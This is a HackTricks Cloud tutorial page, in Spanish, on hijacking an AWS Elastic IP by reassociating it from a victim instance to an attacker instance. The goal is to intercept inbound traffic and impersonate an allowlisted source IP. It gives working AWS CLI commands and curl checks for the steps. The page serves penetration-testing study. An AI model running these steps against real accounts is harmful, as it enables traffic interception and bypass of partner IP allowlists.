AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Resumen
Abusar de ec2:AssociateAddress (y opcionalmente ec2:DisassociateAddress) para reasociar un Elastic IP (EIP) de una instancia/ENI de la víctima a una instancia/ENI del atacante. Esto redirige el tráfico entrante destinado al EIP hacia el atacante y también permite al atacante originar tráfico saliente con la IP pública allowlisted para eludir los firewalls externos de partners.
Requisitos previos
- ID de asignación del EIP de destino en la misma cuenta/VPC.
- Instancia/ENI del atacante que controlas.
- Permisos:
ec2:DescribeAddressesec2:AssociateAddressen el EIP allocation-id y en la instancia/ENI del atacanteec2:DisassociateAddress(opcional). Nota:--allow-reassociationdesasociará automáticamente de la asociación previa.
Ataque
Variables
REGION=us-east-1
ATTACKER_INSTANCE=<i-attacker>
VICTIM_INSTANCE=<i-victim>
- Asignar o identificar el EIP de la victim (el lab asigna uno nuevo y lo adjunta a victim)
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
- Verificar que la EIP actualmente resuelve al servicio de la víctima (por ejemplo, comprobando un banner)
curl -sS http://$EIP | grep -i victim
- Reasociar el EIP al attacker (se desasocia automáticamente del victim)
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
- Verificar que el EIP ahora resuelve al attacker service
sleep 5; curl -sS http://$EIP | grep -i attacker
Evidencia (asociación movida):
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
--query Addresses[0].AssociationId --output text
Impacto
- Inbound impersonation: Todo el tráfico hacia el EIP secuestrado se entrega a la instancia/ENI del atacante.
- Outbound impersonation: El atacante puede iniciar tráfico que parece originarse desde la allowlisted public IP (útil para eludir filtros de IP de socios/fuentes externas).
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks Cloud

